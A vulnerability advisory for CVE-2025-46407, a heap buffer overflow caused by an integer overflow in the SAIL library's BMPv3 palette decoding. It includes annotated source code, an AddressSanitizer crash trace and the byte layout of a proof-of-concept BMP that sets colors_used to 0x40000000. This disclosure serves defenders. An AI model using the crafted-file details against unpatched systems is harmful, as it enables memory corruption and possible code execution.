CVE-2025-46407
A memory corruption vulnerability exists in the BMPv3 Palette Decoding functionality of the SAIL Image Decoding Library v0.9.8. When loading a specially crafted .bmp file, an integer overflow can be made to occur which will cause a heap-based buffer to overflow when reading the palette from the image. These conditions can allow for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)
SAIL Image Decoding Library - https://sail.software/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-680 - Integer Overflow to Buffer Overflow
SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.
When the library first processes a bitmap image, the following function will be used to read the header for the image. At [1], a uint16_t
will be read from the file that contains the signature. This signature is then used to determine what type of bitmap should be loaded. Afterwards at [2], the function will read the rest of the bitmap headers from the file.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
if (bmp_load_options & SAIL_READ_BMP_FILE_HEADER) {
/* "BM" or 0x02. */
uint16_t magic;
SAIL_TRY(io->strict_read(io->stream, &magic, sizeof(magic))); // [1] read the signature of the bitmap
SAIL_TRY(io->seek(io->stream, 0, SEEK_SET));
if (magic == SAIL_DDB_IDENTIFIER) {
...
} else if (magic == SAIL_DIB_IDENTIFIER) {
SAIL_TRY(bmp_private_read_dib_file_header(io, &bmp_state->dib_file_header));
SAIL_TRY(read_bmp_headers(io, bmp_state)); // [2] read the bitmap headers
} else {
...
}
} else {
SAIL_TRY(read_bmp_headers(io, bmp_state)); // [2] read the bitmap headers
}
...
return SAIL_OK;
}
When reading the bitmap headers from the image, the following read_bmp_headers
function will be used. The first thing this function will do is to read the v2 bitmap headers at [3]. Once that has been read, a switch will be used depending on the size of the headers. At [4], the library will read v3 of the bitmap headers. This is done for v3, v4, and v5 bitmaps.
sail/src/sail-codecs/common/bmp/bmp.c:136-186
static sail_status_t read_bmp_headers(struct sail_io *io, struct bmp_state *bmp_state) {
size_t offset_of_bitmap_header;
SAIL_TRY(io->tell(io->stream, &offset_of_bitmap_header));
SAIL_TRY(bmp_private_read_v2(io, &bmp_state->v2)); // [3] read the BMPv2 headers
...
switch (bmp_state->v2.size) {
...
case SAIL_BITMAP_DIB_HEADER_V3_SIZE: {
bmp_state->version = SAIL_BMP_V3;
SAIL_TRY(bmp_private_read_v3(io, &bmp_state->v3)); // [4] read the BMPv3 headers
break;
}
case SAIL_BITMAP_DIB_HEADER_V4_SIZE: {
bmp_state->version = SAIL_BMP_V4;
SAIL_TRY(bmp_private_read_v3(io, &bmp_state->v3)); // [4] read the BMPv3 headers
SAIL_TRY(bmp_private_read_v4(io, &bmp_state->v4));
break;
}
case SAIL_BITMAP_DIB_HEADER_V5_SIZE: {
bmp_state->version = SAIL_BMP_V5;
SAIL_TRY(bmp_private_read_v3(io, &bmp_state->v3)); // [4] read the BMPv3 headers
SAIL_TRY(bmp_private_read_v4(io, &bmp_state->v4));
SAIL_TRY(bmp_private_read_v5(io, &bmp_state->v5));
...
}
}
return SAIL_OK;
}
After the headers of the image have been read, the bmp_private_read_init
function will resume executing in order to validate the bits per pixel and compression type. This is done at [5]. Afterwards at [6], the library will convert the bits per pixel into a pixel format that will be used during decoding.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
/* Check BMP restrictions. */
if (bmp_state->version == SAIL_BMP_V1) {
...
} else if (bmp_state->version >= SAIL_BMP_V3) {
if (bmp_state->v3.compression == SAIL_BI_BITFIELDS && bmp_state->v2.bit_count != 16 && bmp_state->v2.bit_count != 32) { // [5] validate the compression type and bit count
...
}
if (bmp_state->v3.compression != SAIL_BI_RGB && bmp_state->v3.compression != SAIL_BI_RLE4 && bmp_state->v3.compression != SAIL_BI_RLE8) { // [5] validate the compression type and bit count
...
}
if (bmp_state->v3.compression == SAIL_BI_RLE4 && bmp_state->v2.bit_count != 4) { // [5] validate the compression type and bit count
...
}
if (bmp_state->v3.compression == SAIL_BI_RLE8 && bmp_state->v2.bit_count != 8) { // [5] validate the compression type and bit count
...
}
}
SAIL_TRY(bmp_private_bit_count_to_pixel_format(bmp_state->version == SAIL_BMP_V1 ? bmp_state->v1.bit_count : bmp_state->v2.bit_count, // [6] figure out the pixel format for the bit count
&bmp_state->source_pixel_format));
...
return SAIL_OK;
}
After the pixel format has been determined, the bmp_private_read_init
function will check the number of bits for the pixel depth to figure out how the palette is stored within the bitmap image. This is done by first figuring out how many colors are stored within the palette. This typically comes from the v2 header of the bitmap. However, If the number of bits for the pixel depth is smaller than 16
and v3, v4, or v5 of the bitmap header is used, the number of colors will be read from the “v3.colors_used
” field at [7]. This field is of type uint32_t
which can be overflown if the library is running on a 32-bit platform. At [8], the number of colors used for the palette will be multiplied by the size of the sail_rgba32_t
which is 4
, and used to allocate memory to store the palette. If the resulting product is larger than 32-bits, then this buffer will be undersized due to an integer overflow.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
/* Read palette. */
if (bmp_state->version == SAIL_BMP_V1) {
...
} else if (bmp_state->v2.bit_count < 16) {
if (bmp_state->version == SAIL_BMP_V2) {
bmp_state->palette_count = 1 << bmp_state->v2.bit_count;
} else {
bmp_state->palette_count = (bmp_state->v3.colors_used == 0) ? (1U << bmp_state->v2.bit_count) : bmp_state->v3.colors_used; // [7] read the number of used colors
}
...
void *ptr;
SAIL_TRY(sail_malloc(sizeof(sail_rgba32_t) * bmp_state->palette_count, &ptr)); // [8] product-based integer overflow
bmp_state->palette = ptr;
...
return SAIL_OK;
}
Once the vulnerability has been triggered and the buffer for storing the palette has been allocated, the following code will be responsible for reading the palette from the file into the allocated buffer. At [9], the implementation will use the number of colors for the palette to load it from the file. At [10], the data read from the file will be written to the undersized buffer causing a heap-based buffer overflow which can allow for code execution within the context of the library.
sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
if (bmp_state->version == SAIL_BMP_V2) {
...
} else {
sail_rgba32_t rgba;
for (unsigned i = 0; i < bmp_state->palette_count; i++) { // [9] use the number of colors as the loop sentinel
SAIL_TRY(sail_read_pixel4_uint8(io, &rgba));
bmp_state->palette[i].component1 = rgba.component1; // [10] write out-of-bounds of the palette array
bmp_state->palette[i].component2 = rgba.component2; // [10] write out-of-bounds of the palette array
bmp_state->palette[i].component3 = rgba.component3; // [10] write out-of-bounds of the palette array
}
}
}
...
return SAIL_OK;
}
$ sail decode poc.bmp
File : poc.bmp
Codec : BMP [Bitmap Picture]
Codec version : 1.1.2
=================================================================
==162907==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5801d71 at pc 0x08163a76 bp 0xff95eba8 sp 0xff95eb90
WRITE of size 1 at 0xf5801d71 thread T0
#0 0x08163a75 in bmp_private_read_init /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:308:50
#1 0x08155396 in sail_codec_load_init_v8_bmp /path/to/sail/sail/src/sail-codecs/bmp/bmp.c:87:5
#2 0x08143d33 in start_loading_io_with_options /path/to/sail/sail/src/sail/sail_technical_diver_private.c:96:5
#3 0x08141b8c in sail_start_loading_from_file_with_options /path/to/sail/sail/src/sail/sail_deep_diver.c:46:5
#4 0x08140e60 in sail_start_loading_from_file /path/to/sail/sail/src/sail/sail_advanced.c:82:5
#5 0x081387f9 in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:231:5
#6 0x081387f9 in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#7 0x081387f9 in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#8 0xf7be30e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#9 0xf7be31b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#10 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
0xf5801d71 is located 0 bytes after 1-byte region [0xf5801d70,0xf5801d71)
allocated by thread T0 here:
#0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
#1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
#2 0x08162ffc in bmp_private_read_init /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:288:9
#3 0x08155396 in sail_codec_load_init_v8_bmp /path/to/sail/sail/src/sail-codecs/bmp/bmp.c:87:5
#4 0x08143d33 in start_loading_io_with_options /path/to/sail/sail/src/sail/sail_technical_diver_private.c:96:5
#5 0x08141b8c in sail_start_loading_from_file_with_options /path/to/sail/sail/src/sail/sail_deep_diver.c:46:5
#6 0x08140e60 in sail_start_loading_from_file /path/to/sail/sail/src/sail/sail_advanced.c:82:5
#7 0x081387f9 in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:231:5
#8 0x081387f9 in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#9 0x081387f9 in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#10 0xf7be30e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:308:50 in bmp_private_read_init
Shadow bytes around the buggy address:
0xf5801a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5801d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[01]fa
0xf5801d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
0xf5801e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0xf5801e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
0xf5801f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5801f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
$ python -i poc.py3.zip poc.bmp
The bitmap file generated by the proof-of-concept has the following structure.
>>> bmp
<class bitmap.File> 'unnamed_7fe278df7f50' {unnamed=True}
[0] <instance bitmap.BITMAPFILEHEADER 'bmfh'> "\x42\x4d\xde\x00\x00\x00\x00\x00\x00\x00\xde\x00\x00\x00"
[e] <instance bitmap.BitmapInfoHeader 'bmih'> "\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00"
[36] <instance parray.type 'bmiColors'> bitmap.RGBQUAD[42] "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...total 168 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[de] <instance dynamic.block(0) 'bmiExtra'> (0) ""
[de] <instance dynamic.block(0) 'bmData'> (0) ""
The specific condition only occurs when using a BitmapInfoHeader
of v3 or more recent. This can be determined by checking the size of the BitmapInfoHeader
. Either size of 40
, 108
, or 124
can be used.
>>> bmp['bmih']
<class bitmap.BitmapInfoHeader> 'bmih'
[e] <instance bitmap.DWORD 'biSize'> 0x00000028 (40)
[12] <instance bitmap.BitmapInfo 'bmHeader'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00"
In the generated proof-of-concept, the number of colors being used is 0x40000000
.
>>> bmp['bmih']['bmHeader']
<class bitmap.BitmapInfo> 'bmHeader'
[12] <instance bitmap.LONG 'biWidth'> +0x00000000 (0)
[16] <instance bitmap.LONG 'biHeight'> +0x00000000 (0)
[1a] <instance bitmap.WORD 'biPlanes'> 0x0000 (0)
[1c] <instance bitmap.WORD 'biBitCount'> 0x0008 (8)
[1e] <instance bitmap.biCompression 'biCompression'> BI_RGB(0x0)
[22] <instance bitmap.DWORD 'biSizeImage'> 0x00000000 (0)
[26] <instance bitmap.LONG 'biXPelsPerMeter'> +0x00000000 (0)
[2a] <instance bitmap.LONG 'biYPelsPerMeter'> +0x00000000 (0)
[2e] <instance bitmap.DWORD 'biClrUsed'> 0x40000000 (1073741824)
[32] <instance bitmap.DWORD 'biClrImportant'> 0x00000000 (0)
>>>
If the product of this value and the number 4
is larger than 32-bits, then this vulnerability is being triggered.
2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-29 - Vendor Patch Release
2025-08-25 - Public Release
Discovered by a member of Cisco Talos.